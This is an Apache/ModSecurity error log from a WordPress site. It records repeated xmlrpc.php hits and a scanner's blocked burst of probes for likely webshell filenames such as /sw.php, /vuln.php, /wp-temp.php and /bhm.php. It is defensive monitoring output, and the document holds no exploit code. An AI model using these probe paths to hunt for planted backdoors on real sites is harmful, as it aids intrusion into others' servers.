[Wed Apr 22 23:00:24.442412 2026] [:error] [pid 6251:tid 6291] [client 103.215.152.149:63470] [client 103.215.152.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.215.152.149, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aejiiCsFAzbyObL-SQ6T0gAAAIY"]
[Wed Apr 22 23:00:34.924817 2026] [:error] [pid 9085:tid 9109] [client 103.215.152.149:63717] [client 103.215.152.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.215.152.149, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aejikt-_-or9vQnlWnrR-wAAAVY"]
[Wed Apr 22 23:29:09.866507 2026] [:error] [pid 6384:tid 6401] [client 89.216.52.207:57034] [client 89.216.52.207] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.216.52.207, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aejpRT58M3t15ICeWHWT9AAAAM4"]
[Wed Apr 22 23:29:19.988772 2026] [:error] [pid 6250:tid 6270] [client 89.216.52.207:57354] [client 89.216.52.207] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.216.52.207, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aejpTw-iZeQkqmQVfj4whwAAAFA"]
[Wed Apr 22 23:29:30.372446 2026] [:error] [pid 9085:tid 9108] [client 89.216.52.207:57610] [client 89.216.52.207] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.216.52.207, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aejpWt-_-or9vQnlWnrgFwAAAVU"]
[Wed Apr 22 23:29:40.785897 2026] [:error] [pid 23776:tid 23792] [client 89.216.52.207:57868] [client 89.216.52.207] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.216.52.207, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aejpZLRExf-1pAbSeJstpgAAAY4"]
[Wed Apr 22 23:29:51.253291 2026] [:error] [pid 9085:tid 9089] [client 89.216.52.207:58129] [client 89.216.52.207] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.216.52.207, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aejpb9-_-or9vQnlWnrgYgAAAUI"]
[Wed Apr 22 23:47:52.022987 2026] [autoindex:error] [pid 6384:tid 6392] [client 172.213.243.103:40090] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/details/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 23:47:57.010510 2026] [autoindex:error] [pid 6384:tid 6388] [client 172.213.243.103:40090] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/audio/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 23:47:58.369376 2026] [:error] [pid 6384:tid 6392] [client 172.213.243.103:40090] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.admin.php"] [unique_id "aejtrj58M3t15ICeWHWbuwAAAMU"]
[Wed Apr 22 23:47:58.870021 2026] [:error] [pid 23776:tid 23801] [client 172.213.243.103:50612] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.admin.php"] [unique_id "aejtrrRExf-1pAbSeJsymwAAAZc"]
[Wed Apr 22 23:47:59.359675 2026] [:error] [pid 6384:tid 6397] [client 172.213.243.103:55892] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.admin.php"] [unique_id "aejtrz58M3t15ICeWHWbvQAAAMo"]
[Wed Apr 22 23:47:59.848245 2026] [:error] [pid 6384:tid 6400] [client 172.213.243.103:35481] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.admin.php"] [unique_id "aejtrz58M3t15ICeWHWbvgAAAM0"]
[Wed Apr 22 23:48:00.330821 2026] [:error] [pid 6384:tid 6394] [client 172.213.243.103:37146] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sw.php"] [unique_id "aejtsD58M3t15ICeWHWbwAAAAMc"]
[Wed Apr 22 23:48:00.837518 2026] [:error] [pid 6384:tid 6393] [client 172.213.243.103:41943] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sw.php"] [unique_id "aejtsD58M3t15ICeWHWbxAAAAMY"]
[Wed Apr 22 23:48:01.323053 2026] [:error] [pid 6344:tid 6353] [client 172.213.243.103:41964] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sw.php"] [unique_id "aejtsUDOTF-pkQnDeUkflQAAAAQ"]
[Wed Apr 22 23:48:01.847700 2026] [:error] [pid 23776:tid 23802] [client 172.213.243.103:35525] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sw.php"] [unique_id "aejtsbRExf-1pAbSeJsyoAAAAZg"]
[Wed Apr 22 23:48:02.367718 2026] [:error] [pid 23776:tid 23799] [client 172.213.243.103:37173] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vuln.php"] [unique_id "aejtsrRExf-1pAbSeJsyoQAAAZU"]
[Wed Apr 22 23:48:02.878960 2026] [:error] [pid 23776:tid 23800] [client 172.213.243.103:35456] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vuln.php"] [unique_id "aejtsrRExf-1pAbSeJsypAAAAZY"]
[Wed Apr 22 23:48:03.393648 2026] [:error] [pid 9085:tid 9096] [client 172.213.243.103:50604] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vuln.php"] [unique_id "aejts9-_-or9vQnlWnroTgAAAUk"]
[Wed Apr 22 23:48:03.926138 2026] [:error] [pid 6250:tid 6272] [client 172.213.243.103:40073] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vuln.php"] [unique_id "aejtsw-iZeQkqmQVfj4zuQAAAFI"]
[Wed Apr 22 23:48:04.448393 2026] [:error] [pid 6250:tid 6267] [client 172.213.243.103:40080] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-temp.php"] [unique_id "aejttA-iZeQkqmQVfj4zvAAAAE0"]
[Wed Apr 22 23:48:04.968387 2026] [:error] [pid 6384:tid 6396] [client 172.213.243.103:50576] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-temp.php"] [unique_id "aejttD58M3t15ICeWHWbyQAAAMk"]
[Wed Apr 22 23:48:05.491092 2026] [:error] [pid 9085:tid 9091] [client 172.213.243.103:35463] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-temp.php"] [unique_id "aejttd-_-or9vQnlWnroVAAAAUQ"]
[Wed Apr 22 23:48:05.969615 2026] [:error] [pid 9085:tid 9102] [client 172.213.243.103:35521] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-temp.php"] [unique_id "aejttd-_-or9vQnlWnroVwAAAU8"]
[Wed Apr 22 23:48:06.449494 2026] [:error] [pid 9085:tid 9104] [client 172.213.243.103:37066] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sxdfrt.php"] [unique_id "aejttt-_-or9vQnlWnroWwAAAVE"]
[Wed Apr 22 23:48:06.926758 2026] [:error] [pid 23776:tid 23783] [client 172.213.243.103:50549] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sxdfrt.php"] [unique_id "aejttrRExf-1pAbSeJsyrQAAAYU"]
[Wed Apr 22 23:48:07.412304 2026] [:error] [pid 23776:tid 23794] [client 172.213.243.103:41978] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sxdfrt.php"] [unique_id "aejtt7RExf-1pAbSeJsyrwAAAZA"]
[Wed Apr 22 23:48:07.894099 2026] [:error] [pid 23776:tid 23790] [client 172.213.243.103:37155] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sxdfrt.php"] [unique_id "aejtt7RExf-1pAbSeJsysAAAAYw"]
[Wed Apr 22 23:48:08.371791 2026] [:error] [pid 6250:tid 6261] [client 172.213.243.103:35467] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aejtuA-iZeQkqmQVfj4zwAAAAEc"]
[Wed Apr 22 23:48:08.852630 2026] [:error] [pid 6252:tid 6324] [client 172.213.243.103:35464] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aejtuOtGYuiYb1nWBpRtUgAAAQw"]
[Wed Apr 22 23:48:09.334895 2026] [:error] [pid 6251:tid 6302] [client 172.213.243.103:35497] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aejtuSsFAzbyObL-SQ6Z1AAAAJE"]
[Wed Apr 22 23:48:09.814647 2026] [:error] [pid 6344:tid 6373] [client 172.213.243.103:41941] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aejtuUDOTF-pkQnDeUkfnQAAABg"]
[Wed Apr 22 23:48:10.294450 2026] [:error] [pid 6384:tid 6389] [client 172.213.243.103:35490] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aejtuj58M3t15ICeWHWbzQAAAMI"]
[Wed Apr 22 23:48:10.824317 2026] [:error] [pid 6344:tid 6365] [client 172.213.243.103:38291] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aejtukDOTF-pkQnDeUkfogAAABA"]
[Wed Apr 22 23:48:11.304345 2026] [:error] [pid 6344:tid 6367] [client 172.213.243.103:35483] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aejtu0DOTF-pkQnDeUkfpQAAABI"]
[Wed Apr 22 23:48:11.781808 2026] [:error] [pid 6384:tid 6397] [client 172.213.243.103:35558] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aejtuz58M3t15ICeWHWb0AAAAMo"]
[Wed Apr 22 23:48:12.265784 2026] [:error] [pid 6251:tid 6298] [client 172.213.243.103:35502] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-bda.php"] [unique_id "aejtvCsFAzbyObL-SQ6Z1wAAAI0"]
[Wed Apr 22 23:48:12.753114 2026] [:error] [pid 6384:tid 6405] [client 172.213.243.103:35557] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-bda.php"] [unique_id "aejtvD58M3t15ICeWHWb0gAAANI"]
[Wed Apr 22 23:48:13.244484 2026] [:error] [pid 6384:tid 6393] [client 172.213.243.103:38328] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-bda.php"] [unique_id "aejtvT58M3t15ICeWHWb1QAAAMY"]
[Wed Apr 22 23:48:13.722951 2026] [:error] [pid 23776:tid 23792] [client 172.213.243.103:40065] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-bda.php"] [unique_id "aejtvbRExf-1pAbSeJsyuwAAAY4"]
[Wed Apr 22 23:48:14.219343 2026] [:error] [pid 6384:tid 6387] [client 172.213.243.103:55889] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bhm.php"] [unique_id "aejtvj58M3t15ICeWHWb1wAAAMA"]
[Wed Apr 22 23:48:14.700982 2026] [:error] [pid 6250:tid 6257] [client 172.213.243.103:50528] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bhm.php"] [unique_id "aejtvg-iZeQkqmQVfj4zywAAAEM"]
[Wed Apr 22 23:48:15.178368 2026] [:error] [pid 6344:tid 6354] [client 172.213.243.103:50596] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bhm.php"] [unique_id "aejtv0DOTF-pkQnDeUkfqAAAAAU"]
[Wed Apr 22 23:48:15.655452 2026] [:error] [pid 9085:tid 9108] [client 172.213.243.103:35529] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bhm.php"] [unique_id "aejtv9-_-or9vQnlWnroXgAAAVU"]
[Wed Apr 22 23:48:16.132666 2026] [:error] [pid 23776:tid 23778] [client 172.213.243.103:55910] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xmu.php"] [unique_id "aejtwLRExf-1pAbSeJsyywAAAYA"]
[Wed Apr 22 23:48:16.658364 2026] [:error] [pid 6384:tid 6410] [client 172.213.243.103:35549] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xmu.php"] [unique_id "aejtwD58M3t15ICeWHWb2QAAANc"]
[Wed Apr 22 23:48:17.175774 2026] [:error] [pid 6251:tid 6300] [client 172.213.243.103:35459] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xmu.php"] [unique_id "aejtwSsFAzbyObL-SQ6Z2gAAAI8"]
[Wed Apr 22 23:48:17.667175 2026] [:error] [pid 9085:tid 9109] [client 172.213.243.103:35479] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xmu.php"] [unique_id "aejtwd-_-or9vQnlWnroYQAAAVY"]
[Wed Apr 22 23:48:18.146008 2026] [:error] [pid 6344:tid 6365] [client 172.213.243.103:37129] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ref.php"] [unique_id "aejtwkDOTF-pkQnDeUkfrgAAABA"]
[Wed Apr 22 23:48:18.628675 2026] [:error] [pid 6384:tid 6390] [client 172.213.243.103:35535] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ref.php"] [unique_id "aejtwj58M3t15ICeWHWb3QAAAMM"]
[Wed Apr 22 23:48:19.107786 2026] [:error] [pid 6250:tid 6260] [client 172.213.243.103:55904] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ref.php"] [unique_id "aejtww-iZeQkqmQVfj4zzgAAAEY"]
[Wed Apr 22 23:48:19.586449 2026] [:error] [pid 6344:tid 6369] [client 172.213.243.103:55900] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ref.php"] [unique_id "aejtw0DOTF-pkQnDeUkfrwAAABQ"]
[Wed Apr 22 23:48:20.098840 2026] [:error] [pid 6344:tid 6364] [client 172.213.243.103:65021] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-xme.php"] [unique_id "aejtxEDOTF-pkQnDeUkfsAAAAA8"]
[Wed Apr 22 23:48:20.618718 2026] [:error] [pid 6252:tid 6325] [client 172.213.243.103:38318] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-xme.php"] [unique_id "aejtxOtGYuiYb1nWBpRtWAAAAQ0"]
[Wed Apr 22 23:48:21.096496 2026] [:error] [pid 6384:tid 6388] [client 172.213.243.103:58177] [client 172.213.243.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-xme.php"] [unique_id "aejtxT58M3t15ICeWHWb5wAAAME"]
